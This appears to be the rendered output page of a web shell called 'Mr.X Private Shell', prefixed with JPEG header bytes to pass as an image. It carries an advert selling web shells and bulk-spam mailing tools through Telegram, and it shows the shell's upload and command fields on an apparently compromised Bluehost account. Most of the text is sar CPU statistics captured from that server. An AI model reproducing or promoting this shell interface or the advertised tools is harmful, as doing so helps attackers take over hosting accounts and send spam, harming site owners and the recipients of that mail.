����JFIF��������� Mr.X
  
  __  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

dccreditrepairto@216.73.216.185: ~ $
Linux 5.14.0-570.32.1.el9_6.x86_64 (50-6-4-53.bluehost.com) 	2026-03-22 	_x86_64_	(16 CPU)

00:00:00        CPU      %usr     %nice      %sys   %iowait    %steal      %irq     %soft    %guest    %gnice     %idle
00:10:00        all     18.47      0.04      2.09      0.23      0.00      0.00      0.06      0.00      0.00     79.11
00:10:00          0     17.48      0.00      1.98      0.08      0.00      0.00      0.14      0.00      0.00     80.33
00:10:00          1     21.95      0.07      2.45      0.25      0.00      0.00      0.10      0.00      0.00     75.19
00:10:00          2     19.55      0.00      2.17      0.41      0.00      0.00      0.05      0.00      0.00     77.82
00:10:00          3     19.37      0.05      2.09      0.23      0.00      0.00      0.05      0.00      0.00     78.23
00:10:00          4     19.25      0.07      2.03      0.71      0.00      0.00      0.04      0.00      0.00     77.89
00:10:00          5     20.29      0.03      2.16      0.19      0.00      0.00      0.05      0.00      0.00     77.28
00:10:00          6     19.83      0.23      2.31      0.47      0.00      0.00      0.03      0.00      0.00     77.14
00:10:00          7     19.31      0.00      2.10      0.11      0.00      0.00      0.03      0.00      0.00     78.45
00:10:00          8     18.64      0.02      2.28      0.03      0.00      0.00      0.03      0.00      0.00     78.98
00:10:00          9     17.57      0.10      1.95      0.37      0.00      0.00      0.03      0.00      0.00     79.98
00:10:00         10     17.63      0.00      1.89      0.03      0.00      0.00      0.04      0.00      0.00     80.41
00:10:00         11     16.36      0.00      2.03      0.17      0.00      0.00      0.24      0.00      0.00     81.19
00:10:00         12     17.77      0.00      2.11      0.24      0.00      0.00      0.05      0.00      0.00     79.84
00:10:00         13     17.48      0.04      2.06      0.16      0.00      0.00      0.03      0.00      0.00     80.23
00:10:00         14     16.39      0.00      1.86      0.03      0.00      0.00      0.03      0.00      0.00     81.69
00:10:00         15     16.69      0.00      1.99      0.18      0.00      0.00      0.03      0.00      0.00     81.11
00:20:00        all     28.99      0.00      2.98      0.14      0.00      0.00      0.08      0.00      0.00     67.81
00:20:00          0     25.69      0.00      3.14      0.19      0.00      0.00      0.19      0.00      0.00     70.78
00:20:00          1     31.12      0.00      3.16      0.24      0.00      0.00      0.12      0.00      0.00     65.35
00:20:00          2     30.92      0.00      3.03      0.13      0.00      0.00      0.07      0.00      0.00     65.85
00:20:00          3     30.64      0.01      3.03      0.15      0.00      0.00      0.07      0.00      0.00     66.10
00:20:00          4     30.90      0.00      3.05      0.11      0.00      0.00      0.07      0.00      0.00     65.86
00:20:00          5     30.47      0.00      3.11      0.10      0.00      0.00      0.05      0.00      0.00     66.27
00:20:00          6     30.83      0.00      2.98      0.10      0.00      0.00      0.05      0.00      0.00     66.04
00:20:00          7     30.49      0.00      3.04      0.20      0.00      0.00      0.04      0.00      0.00     66.23
00:20:00          8     28.85      0.02      3.01      0.16      0.00      0.00      0.06      0.00      0.00     67.91
00:20:00          9     28.24      0.00      2.82      0.19      0.00      0.00      0.03      0.00      0.00     68.71
00:20:00         10     28.73      0.00      2.89      0.17      0.00      0.00      0.05      0.00      0.00     68.15
00:20:00         11     28.33      0.00      2.99      0.07      0.00      0.00      0.22      0.00      0.00     68.39
00:20:00         12     29.34      0.00      2.89      0.11      0.00      0.00      0.06      0.00      0.00     67.60
00:20:00         13     26.62      0.00      2.98      0.13      0.00      0.00      0.05      0.00      0.00     70.23
00:20:00         14     26.29      0.00      2.77      0.14      0.00      0.00      0.04      0.00      0.00     70.76
00:20:00         15     26.46      0.00      2.73      0.12      0.00      0.00      0.05      0.00      0.00     70.64
00:30:01        all     37.39      0.00      3.62      0.11      0.00      0.00      0.10      0.00      0.00     58.79
00:30:01          0     34.67      0.00      3.41      0.16      0.00      0.00      0.24      0.00      0.00     61.52
00:30:01          1     40.25      0.00      3.75      0.12      0.00      0.00      0.14      0.00      0.00     55.73
00:30:01          2     40.56      0.00      3.79      0.23      0.00      0.00      0.10      0.00      0.00     55.32
00:30:01          3     38.89      0.00      3.71      0.04      0.00      0.00      0.09      0.00      0.00     57.27
00:30:01          4     38.72      0.00      3.65      0.04      0.00      0.00      0.09      0.00      0.00     57.51
00:30:01          5     38.21      0.02      3.57      0.16      0.00      0.00      0.07      0.00      0.00     57.96
00:30:01          6     38.05      0.00      3.65      0.14      0.00      0.00      0.08      0.00      0.00     58.07
00:30:01          7     36.87      0.00      3.76      0.03      0.00      0.00      0.05      0.00      0.00     59.29
00:30:01          8     37.26      0.01      3.50      0.10      0.00      0.00      0.07      0.00      0.00     59.06
00:30:01          9     36.73      0.00      3.44      0.05      0.00      0.00      0.04      0.00      0.00     59.73
00:30:01         10     36.72      0.00      3.74      0.09      0.00      0.00      0.08      0.00      0.00     59.37
00:30:01         11     37.23      0.01      3.59      0.05      0.00      0.00      0.26      0.00      0.00     58.86
00:30:01         12     36.07      0.00      3.78      0.19      0.00      0.00      0.08      0.00      0.00     59.87
00:30:01         13     34.95      0.00      3.42      0.11      0.00      0.00      0.06      0.00      0.00     61.46
00:30:01         14     36.52      0.00      3.55      0.12      0.00      0.00      0.06      0.00      0.00     59.76
00:30:01         15     36.46      0.00      3.54      0.13      0.00      0.00      0.05      0.00      0.00     59.82
00:40:01        all     11.42      0.00      1.54      0.12      0.00      0.00      0.06      0.00      0.00     86.84
00:40:01          0     10.53      0.00      1.53      0.09      0.00      0.00      0.19      0.00      0.00     87.66
00:40:01          1     13.65      0.00      1.76      0.11      0.00      0.00      0.07      0.00      0.00     84.41
00:40:01          2     14.24      0.00      1.72      0.08      0.00      0.00      0.03      0.00      0.00     83.93
00:40:01          3     13.61      0.00      1.68      0.09      0.00      0.00      0.03      0.00      0.00     84.60
00:40:01          4     12.05      0.00      1.56      0.51      0.00      0.00      0.03      0.00      0.00     85.85
00:40:01          5     13.68      0.01      1.73      0.03      0.00      0.00      0.03      0.00      0.00     84.52
00:40:01          6     11.09      0.00      1.50      0.03      0.00      0.00      0.02      0.00      0.00     87.35
00:40:01          7     10.44      0.04      1.68      0.10      0.00      0.00      0.02      0.00      0.00     87.72
00:40:01          8     10.32      0.00      1.40      0.09      0.00      0.00      0.02      0.00      0.00     88.17
00:40:01          9     11.25      0.00      1.43      0.10      0.00      0.00      0.01      0.00      0.00     87.21
00:40:01         10     10.24      0.00      1.31      0.22      0.00      0.00      0.02      0.00      0.00     88.22
00:40:01         11     10.85      0.00      1.64      0.20      0.00      0.00      0.37      0.00      0.00     86.94
00:40:01         12     10.13      0.03      1.44      0.06      0.00      0.00      0.02      0.00      0.00     88.32
00:40:01         13     10.33      0.00      1.50      0.20      0.00      0.00      0.02      0.00      0.00     87.94
00:40:01         14     10.08      0.00      1.43      0.06      0.00      0.00      0.02      0.00      0.00     88.41
00:40:01         15     10.31      0.00      1.43      0.01      0.00      0.00      0.02      0.00      0.00     88.23
00:50:00        all     12.06      0.00      1.68      0.10      0.01      0.00      0.06      0.00      0.00     86.08
00:50:00          0     11.53      0.00      1.48      0.02      0.01      0.00      0.10      0.00      0.00     86.86
00:50:00          1     12.88      0.00      1.86      0.05      0.01      0.00      0.06      0.00      0.00     85.15
00:50:00          2     13.36      0.00      1.83      0.16      0.01      0.00      0.02      0.00      0.00     84.62
00:50:00          3     12.60      0.00      1.75      0.21      0.01      0.00      0.04      0.00      0.00     85.40
00:50:00          4     12.58      0.00      1.76      0.07      0.01      0.00      0.02      0.00      0.00     85.57
00:50:00          5     14.19      0.00      2.19      0.14      0.01      0.00      0.04      0.00      0.00     83.44
00:50:00          6     12.75      0.00      1.74      0.05      0.01      0.00      0.02      0.00      0.00     85.43
00:50:00          7     11.49      0.01      1.63      0.12      0.01      0.00      0.02      0.00      0.00     86.74
00:50:00          8     11.60      0.00      1.58      0.02      0.01      0.00      0.03      0.00      0.00     86.77
00:50:00          9     11.13      0.00      1.44      0.04      0.00      0.00      0.01      0.00      0.00     87.39
00:50:00         10     10.59      0.02      1.51      0.23      0.01      0.00      0.03      0.00      0.00     87.61
00:50:00         11     11.53      0.00      1.86      0.07      0.06      0.00      0.48      0.00      0.00     86.01
00:50:00         12     10.68      0.00      1.50      0.16      0.01      0.00      0.02      0.00      0.00     87.63
00:50:00         13     11.40      0.00      1.55      0.19      0.01      0.00      0.01      0.00      0.00     86.85
00:50:00         14     12.56      0.00      1.63      0.08      0.01      0.00      0.03      0.00      0.00     85.70
00:50:00         15     12.16      0.00      1.66      0.03      0.01      0.00      0.02      0.00      0.00     86.12
01:00:01        all     31.45      0.00      3.17      0.18      0.00      0.00      0.11      0.00      0.00     65.09
01:00:01          0     29.35      0.00      3.03      0.11      0.00      0.00      0.27      0.00      0.00     67.23
01:00:01          1     34.45      0.00      3.31      0.14      0.00      0.00      0.15      0.00      0.00     61.95
01:00:01          2     35.09      0.00      3.40      0.19      0.00      0.00      0.08      0.00      0.00     61.24
01:00:01          3     33.66      0.00      3.37      0.60      0.00      0.00      0.07      0.00      0.00     62.30
01:00:01          4     31.58      0.00      3.10      0.16      0.00      0.00      0.09      0.00      0.00     65.08
01:00:01          5     34.58      0.04      3.26      0.09      0.00      0.00      0.05      0.00      0.00     61.98
01:00:01          6     32.54      0.00      3.35      0.06      0.00      0.00      0.05      0.00      0.00     63.99
01:00:01          7     31.46      0.00      3.16      0.06      0.00      0.00      0.04      0.00      0.00     65.28
01:00:01          8     31.50      0.00      3.10      0.06      0.00      0.00      0.07      0.00      0.00     65.27
01:00:01          9     30.30      0.00      3.12      0.30      0.00      0.00      0.04      0.00      0.00     66.24
01:00:01         10     29.85      0.00      3.30      0.17      0.00      0.00      0.06      0.00      0.00     66.63
01:00:01         11     30.73      0.00      3.29      0.19      0.00      0.00      0.62      0.00      0.00     65.16
01:00:01         12     29.80      0.00      3.07      0.18      0.00      0.00      0.05      0.00      0.00     66.89
01:00:01         13     28.67      0.00      2.98      0.23      0.00      0.00      0.05      0.00      0.00     68.07
01:00:01         14     31.07      0.00      3.08      0.02      0.00      0.00      0.04      0.00      0.00     65.79
01:00:01         15     28.52      0.00      2.88      0.26      0.00      0.00      0.04      0.00      0.00     68.30
01:10:00        all     34.02      0.01      3.51      0.13      0.00      0.00      0.11      0.00      0.00     62.22
01:10:00          0     33.02      0.03      3.34      0.12      0.00      0.00      0.23      0.00      0.00     63.26
01:10:00          1     36.44      0.01      3.66      0.05      0.00      0.00      0.13      0.00      0.00     59.70
01:10:00          2     36.96      0.00      3.73      0.37      0.00      0.00      0.10      0.00      0.00     58.83
01:10:00          3     37.30      0.04      3.87      0.05      0.01      0.00      0.07      0.00      0.00     58.66
01:10:00          4     36.00      0.00      3.51      0.11      0.01      0.00      0.08      0.00      0.00     60.30
01:10:00          5     35.74      0.00      3.59      0.13      0.00      0.00      0.07      0.00      0.00     60.48
01:10:00          6     34.46      0.08      3.56      0.13      0.00      0.00      0.09      0.00      0.00     61.68
01:10:00          7     33.78      0.00      3.49      0.39      0.00      0.00      0.04      0.00      0.00     62.29
01:10:00          8     34.20      0.00      3.47      0.04      0.00      0.00      0.08      0.00      0.00     62.21
01:10:00          9     33.73      0.03      3.42      0.18      0.01      0.00      0.05      0.00      0.00     62.60
01:10:00         10     31.66      0.00      3.38      0.02      0.00      0.00      0.07      0.00      0.00     64.87
01:10:00         11     33.76      0.00      3.78      0.11      0.01      0.00      0.54      0.00      0.00     61.79
01:10:00         12     32.01      0.00      3.37      0.06      0.01      0.00      0.07      0.00      0.00     64.48
01:10:00         13     31.09      0.00      3.31      0.13      0.00      0.00      0.06      0.00      0.00     65.42
01:10:00         14     31.98      0.00      3.26      0.21      0.00      0.00      0.05      0.00      0.00     64.50
01:10:00         15     32.13      0.00      3.35      0.05      0.00      0.00      0.05      0.00      0.00     64.42
01:20:00        all     23.08      0.00      2.71      0.12      0.00      0.00      0.10      0.00      0.00     73.99
01:20:00          0     22.21      0.04      2.46      0.08      0.00      0.00      0.30      0.00      0.00     74.90
01:20:00          1     24.84      0.00      3.07      0.03      0.00      0.00      0.13      0.00      0.00     71.93
01:20:00          2     27.29      0.00      3.02      0.04      0.00      0.00      0.05      0.00      0.00     69.61
01:20:00          3     23.90      0.00      2.85      0.03      0.00      0.00      0.07      0.00      0.00     73.16
01:20:00          4     23.73      0.00      2.80      0.36      0.00      0.00      0.08      0.00      0.00     73.04
01:20:00          5     23.46      0.00      2.65      0.26      0.00      0.00      0.06      0.00      0.00     73.56
01:20:00          6     23.47      0.00      2.60      0.02      0.00      0.00      0.05      0.00      0.00     73.86
01:20:00          7     22.30      0.00      2.65      0.06      0.00      0.00      0.03      0.00      0.00     74.96
01:20:00          8     23.95      0.00      2.59      0.02      0.00      0.00      0.05      0.00      0.00     73.39
01:20:00          9     23.20      0.00      2.65      0.07      0.00      0.00      0.03      0.00      0.00     74.06
01:20:00         10     22.72      0.00      2.68      0.12      0.00      0.00      0.05      0.00      0.00     74.43
01:20:00         11     23.41      0.00      2.95      0.09      0.00      0.00      0.55      0.00      0.00     72.99
01:20:00         12     21.36      0.00      2.57      0.26      0.00      0.00      0.05      0.00      0.00     75.76
01:20:00         13     21.07      0.00      2.56      0.24      0.00      0.00      0.06      0.00      0.00     76.07
01:20:00         14     21.44      0.00      2.48      0.10      0.00      0.00      0.04      0.00      0.00     75.95
01:20:00         15     20.94      0.00      2.74      0.19      0.00      0.00      0.03      0.00      0.00     76.09
01:30:00        all     28.88      0.01      2.88      0.13      0.00      0.00      0.09      0.00      0.00     68.01
01:30:00          0     29.14      0.00      2.89      0.08      0.00      0.00      0.27      0.00      0.00     67.62
01:30:00          1     31.38      0.00      2.97      0.15      0.00      0.00      0.14      0.00      0.00     65.35
01:30:00          2     31.88      0.00      3.08      0.08      0.00      0.00      0.05      0.00      0.00     64.91
01:30:00          3     31.85      0.00      3.00      0.12      0.00      0.00      0.05      0.00      0.00     64.98
01:30:00          4     28.47      0.00      2.99      0.17      0.00      0.00      0.09      0.00      0.00     68.28
01:30:00          5     29.98      0.00      2.93      0.23      0.00      0.00      0.05      0.00      0.00     66.81
01:30:00          6     28.82      0.02      2.85      0.19      0.00      0.00      0.05      0.00      0.00     68.08
01:30:00          7     28.65      0.04      2.91      0.02      0.00      0.00      0.03      0.00      0.00     68.35
01:30:00          8     29.96      0.00      3.05      0.13      0.00      0.00      0.05      0.00      0.00     66.82
01:30:00          9     28.90      0.00      2.78      0.20      0.00      0.00      0.03      0.00      0.00     68.09
01:30:00         10     27.98      0.00      2.73      0.22      0.00      0.00      0.05      0.00      0.00     69.01
01:30:00         11     30.38      0.01      3.06      0.16      0.00      0.00      0.46      0.00      0.00     65.93
01:30:00         12     27.34      0.00      2.76      0.04      0.00      0.00      0.04      0.00      0.00     69.81
01:30:00         13     26.02      0.02      2.79      0.05      0.00      0.00      0.04      0.00      0.00     71.08
01:30:00         14     25.78      0.00      2.66      0.10      0.00      0.00      0.03      0.00      0.00     71.43
01:30:00         15     25.57      0.00      2.65      0.19      0.00      0.00      0.03      0.00      0.00     71.55
01:40:00        all     24.69      0.01      2.67      0.11      0.00      0.00      0.08      0.00      0.00     72.44
01:40:00          0     23.17      0.03      2.44      0.08      0.00      0.00      0.24      0.00      0.00     74.05
01:40:00          1     26.98      0.00      2.91      0.08      0.00      0.00      0.12      0.00      0.00     69.92
01:40:00          2     30.51      0.00      2.91      0.04      0.00      0.00      0.05      0.00      0.00     66.50
01:40:00          3     26.56      0.00      2.96      0.03      0.00      0.00      0.07      0.00      0.00     70.38
01:40:00          4     25.17      0.00      2.86      0.09      0.00      0.00      0.08      0.00      0.00     71.81
01:40:00          5     24.79      0.00      2.66      0.07      0.00      0.00      0.05      0.00      0.00     72.42
01:40:00          6     25.04      0.00      2.64      0.18      0.00      0.00      0.05      0.00      0.00     72.08
01:40:00          7     24.63      0.00      2.60      0.03      0.00      0.00      0.03      0.00      0.00     72.71
01:40:00          8     23.17      0.00      2.53      0.16      0.00      0.00      0.06      0.00      0.00     74.08
01:40:00          9     23.76      0.00      2.55      0.03      0.00      0.00      0.03      0.00      0.00     73.63
01:40:00         10     22.85      0.02      2.57      0.03      0.00      0.00      0.04      0.00      0.00     74.49
01:40:00         11     24.93      0.00      2.67      0.12      0.00      0.00      0.40      0.00      0.00     71.87
01:40:00         12     23.68      0.00      2.72      0.28      0.00      0.00      0.05      0.00      0.00     73.27
01:40:00         13     22.72      0.04      2.61      0.26      0.00      0.00      0.03      0.00      0.00     74.34
01:40:00         14     23.58      0.03      2.56      0.22      0.00      0.00      0.04      0.00      0.00     73.57
01:40:00         15     23.43      0.00      2.54      0.11      0.00      0.00      0.02      0.00      0.00     73.90
01:50:00        all     35.59      0.00      3.44      0.12      0.00      0.00      0.11      0.00      0.00     60.73
01:50:00          0     34.69      0.00      3.35      0.23      0.00      0.00      0.32      0.00      0.00     61.40
01:50:00          1     36.99      0.00      3.45      0.12      0.00      0.00      0.20      0.00      0.00     59.24
01:50:00          2     38.37      0.00      3.57      0.10      0.00      0.00      0.10      0.00      0.00     57.86
01:50:00          3     38.47      0.00      3.46      0.14      0.00      0.00      0.07      0.00      0.00     57.85
01:50:00          4     34.85      0.00      3.44      0.10      0.00      0.00      0.11      0.00      0.00     61.50
01:50:00          5     37.08      0.00      3.91      0.13      0.00      0.00      0.06      0.00      0.00     58.82
01:50:00          6     37.51      0.04      3.55      0.08      0.00      0.00      0.07      0.00      0.00     58.75
01:50:00          7     35.53      0.00      3.33      0.28      0.00      0.00      0.05      0.00      0.00     60.80
01:50:00          8     34.41      0.00      3.32      0.04      0.00      0.00      0.06      0.00      0.00     62.17
01:50:00          9     34.83      0.00      3.37      0.04      0.00      0.00      0.04      0.00      0.00     61.72
01:50:00         10     35.83      0.00      3.41      0.12      0.00      0.00      0.07      0.00      0.00     60.56
01:50:00         11     35.51      0.00      3.61      0.09      0.00      0.00      0.39      0.00      0.00     60.39
01:50:00         12     34.97      0.01      3.36      0.13      0.00      0.00      0.05      0.00      0.00     61.48
01:50:00         13     32.58      0.00      3.29      0.14      0.00      0.00      0.05      0.00      0.00     63.92
01:50:00         14     35.09      0.00      3.35      0.12      0.00      0.00      0.04      0.00      0.00     61.40
01:50:00         15     32.76      0.00      3.27      0.13      0.00      0.00      0.05      0.00      0.00     63.78

01:50:00        CPU      %usr     %nice      %sys   %iowait    %steal      %irq     %soft    %guest    %gnice     %idle
02:00:00        all     14.82      0.00      1.77      0.11      0.00      0.00      0.06      0.00      0.00     83.23
02:00:00          0     12.59      0.01      1.65      0.14      0.00      0.00      0.18      0.00      0.00     85.44
02:00:00          1     16.13      0.00      1.89      0.04      0.00      0.00      0.09      0.00      0.00     81.85
02:00:00          2     16.78      0.00      1.75      0.09      0.00      0.00      0.04      0.00      0.00     81.34
02:00:00          3     16.92      0.00      1.94      0.06      0.00      0.00      0.04      0.00      0.00     81.05
02:00:00          4     14.27      0.00      1.94      0.16      0.00      0.00      0.04      0.00      0.00     83.59
02:00:00          5     16.18      0.00      1.99      0.12      0.00      0.00      0.03      0.00      0.00     81.68
02:00:00          6     17.06      0.02      1.71      0.20      0.00      0.00      0.02      0.00      0.00     80.99
02:00:00          7     15.42      0.00      1.71      0.23      0.00      0.00      0.02      0.00      0.00     82.62
02:00:00          8     14.64      0.00      1.70      0.03      0.00      0.00      0.03      0.00      0.00     83.61
02:00:00          9     13.64      0.00      1.56      0.22      0.00      0.00      0.01      0.00      0.00     84.57
02:00:00         10     14.01      0.00      1.96      0.13      0.00      0.00      0.02      0.00      0.00     83.87
02:00:00         11     15.65      0.00      2.11      0.04      0.00      0.00      0.34      0.00      0.00     81.86
02:00:00         12     15.16      0.00      1.74      0.08      0.00      0.00      0.03      0.00      0.00     82.99
02:00:00         13     12.97      0.00      1.63      0.16      0.00      0.00      0.02      0.00      0.00     85.22
02:00:00         14     14.00      0.00      1.60      0.03      0.00      0.00      0.02      0.00      0.00     84.35
02:00:00         15     11.71      0.00      1.51      0.04      0.00      0.00      0.01      0.00      0.00     86.73
02:10:00        all     23.21      5.58      3.52      0.73      0.00      0.00      0.16      0.00      0.00     66.80
02:10:00          0     21.09      7.23      3.33      0.57      0.00      0.00      0.52      0.00      0.00     67.25
02:10:00          1     27.74      5.58      4.02      0.56      0.00      0.00      0.25      0.00      0.00     61.85
02:10:00          2     23.65      8.01      4.05      0.71      0.00      0.00      0.15      0.00      0.00     63.42
02:10:00          3     24.56      6.02      3.90      0.79      0.00      0.00      0.12      0.00      0.00     64.60
02:10:00          4     23.74      7.22      3.59      1.00      0.00      0.00      0.15      0.00      0.00     64.31
02:10:00          5     25.33      5.53      3.49      0.57      0.00      0.00      0.09      0.00      0.00     64.99
02:10:00          6     22.89      4.59      3.47      0.95      0.00      0.00      0.09      0.00      0.00     68.00
02:10:00          7     23.31      4.67      3.30      0.54      0.00      0.00      0.06      0.00      0.00     68.13
02:10:00          8     22.62      5.74      3.08      0.38      0.00      0.00      0.07      0.00      0.00     68.11
02:10:00          9     23.47      4.80      3.24      0.81      0.00      0.00      0.07      0.00      0.00     67.61
02:10:00         10     20.37      8.61      3.23      0.61      0.00      0.00      0.08      0.00      0.00     67.09
02:10:00         11     22.78      2.81      3.85      1.70      0.01      0.00      0.50      0.00      0.00     68.37
02:10:00         12     21.54      6.70      3.56      0.60      0.00      0.00      0.08      0.00      0.00     67.51
02:10:00         13     22.67      5.92      3.30      0.29      0.00      0.00      0.09      0.00      0.00     67.72
02:10:00         14     22.93      3.03      3.18      0.55      0.00      0.00      0.06      0.00      0.00     70.26
02:10:00         15     22.64      2.86      3.67      1.05      0.00      0.00      0.10      0.00      0.00     69.67
02:20:00        all     28.76      5.62      4.04      0.79      0.00      0.00      0.18      0.00      0.00     60.60
02:20:00          0     27.08      3.11      3.89      0.66      0.00      0.00      0.57      0.00      0.00     64.68
02:20:00          1     31.72      6.39      4.42      0.88      0.01      0.00      0.27      0.00      0.00     56.32
02:20:00          2     29.90      7.56      4.06      0.55      0.00      0.00      0.16      0.00      0.00     57.78
02:20:00          3     29.84      9.16      4.49      1.17      0.00      0.00      0.18      0.00      0.00     55.16
02:20:00          4     28.41      5.53      3.95      0.70      0.00      0.00      0.18      0.00      0.00     61.22
02:20:00          5     31.80      5.17      4.10      0.91      0.00      0.00      0.14      0.00      0.00     57.87
02:20:00          6     29.23      3.71      3.79      0.93      0.00      0.00      0.16      0.00      0.00     62.19
02:20:00          7     29.06      3.18      4.08      0.94      0.00      0.00      0.07      0.00      0.00     62.65
02:20:00          8     28.09      5.61      3.97      1.05      0.00      0.00      0.13      0.00      0.00     61.15
02:20:00          9     28.18      3.68      3.67      0.55      0.00      0.00      0.09      0.00      0.00     63.84
02:20:00         10     27.40      6.64      4.07      0.85      0.00      0.00      0.11      0.00      0.00     60.94
02:20:00         11     27.54      6.36      4.47      0.89      0.01      0.00      0.43      0.00      0.00     60.30
02:20:00         12     27.74      6.88      4.08      0.94      0.00      0.00      0.15      0.00      0.00     60.22
02:20:00         13     29.75      4.66      3.86      0.61      0.00      0.00      0.12      0.00      0.00     61.01
02:20:00         14     26.77      6.62      3.84      0.40      0.00      0.00      0.07      0.00      0.00     62.30
02:20:00         15     27.66      5.75      3.87      0.70      0.01      0.00      0.12      0.00      0.00     61.90
02:30:00        all     27.88      5.70      3.74      0.73      0.00      0.00      0.17      0.00      0.00     61.77
02:30:00          0     27.82      3.00      3.41      0.74      0.00      0.00      0.43      0.00      0.00     64.60
02:30:00          1     28.48     11.57      4.20      0.37      0.00      0.00      0.20      0.00      0.00     55.18
02:30:00          2     29.03      2.94      3.77      0.63      0.00      0.00      0.18      0.00      0.00     63.45
02:30:00          3     29.92      7.45      3.68      1.05      0.00      0.00      0.12      0.00      0.00     57.77
02:30:00          4     27.96      7.54      3.80      0.99      0.00      0.00      0.19      0.00      0.00     59.52
02:30:00          5     28.87      5.00      3.75      1.15      0.00      0.00      0.15      0.00      0.00     61.08
02:30:00          6     29.38      3.97      3.65      0.70      0.00      0.00      0.12      0.00      0.00     62.18
02:30:00          7     29.30      4.85      3.91      0.57      0.00      0.00      0.17      0.00      0.00     61.20
02:30:00          8     26.54      7.37      3.58      0.43      0.00      0.00      0.10      0.00      0.00     61.99
02:30:00          9     27.52      4.62      3.44      0.35      0.00      0.00      0.07      0.00      0.00     64.00
02:30:00         10     27.65      5.98      3.49      0.49      0.00      0.00      0.10      0.00      0.00     62.28
02:30:00         11     27.91      7.39      3.99      1.01      0.00      0.00      0.55      0.00      0.00     59.15
02:30:00         12     25.90      5.95      3.82      0.80      0.00      0.00      0.10      0.00      0.00     63.42
02:30:00         13     26.03      6.43      3.84      0.63      0.00      0.00      0.12      0.00      0.00     62.95
02:30:00         14     25.91      4.94      3.86      0.67      0.00      0.00      0.08      0.00      0.00     64.53
02:30:00         15     27.87      2.21      3.62      1.15      0.01      0.00      0.10      0.00      0.00     65.05
02:40:00        all     18.10      4.74      2.91      1.56      0.00      0.00      0.19      0.00      0.00     72.51
02:40:00          0     16.51      3.03      2.55      0.99      0.00      0.00      0.52      0.00      0.00     76.40
02:40:00          1     19.20      6.81      3.15      2.68      0.00      0.00      0.26      0.00      0.00     67.90
02:40:00          2     20.69      8.29      3.24      1.46      0.00      0.00      0.18      0.00      0.00     66.14
02:40:00          3     19.20      8.68      3.00      1.28      0.00      0.00      0.13      0.00      0.00     67.71
02:40:00          4     17.59      4.59      3.06      2.39      0.00      0.00      0.22      0.00      0.00     72.15
02:40:00          5     20.56      4.64      3.11      1.91      0.00      0.00      0.16      0.00      0.00     69.62
02:40:00          6     20.18      3.66      3.14      1.45      0.00      0.00      0.11      0.00      0.00     71.45
02:40:00          7     17.82      3.85      3.04      1.92      0.00      0.00      0.15      0.00      0.00     73.21
02:40:00          8     16.75      5.08      2.64      0.91      0.00      0.00      0.08      0.00      0.00     74.54
02:40:00          9     17.31      4.30      2.78      1.67      0.00      0.00      0.09      0.00      0.00     73.86
02:40:00         10     19.39      2.59      2.76      1.08      0.00      0.00      0.09      0.00      0.00     74.08
02:40:00         11     18.00      7.27      3.17      1.67      0.00      0.00      0.63      0.00      0.00     69.26
02:40:00         12     17.39      1.97      2.93      0.86      0.00      0.00      0.09      0.00      0.00     76.76
02:40:00         13     15.81      3.73      2.42      0.79      0.00      0.00      0.11      0.00      0.00     77.15
02:40:00         14     16.71      2.59      2.65      1.84      0.00      0.00      0.09      0.00      0.00     76.12
02:40:00         15     16.42      4.76      2.94      2.01      0.00      0.00      0.13      0.00      0.00     73.74
02:50:00        all     26.85      5.67      4.57      1.07      0.00      0.00      0.20      0.00      0.00     61.64
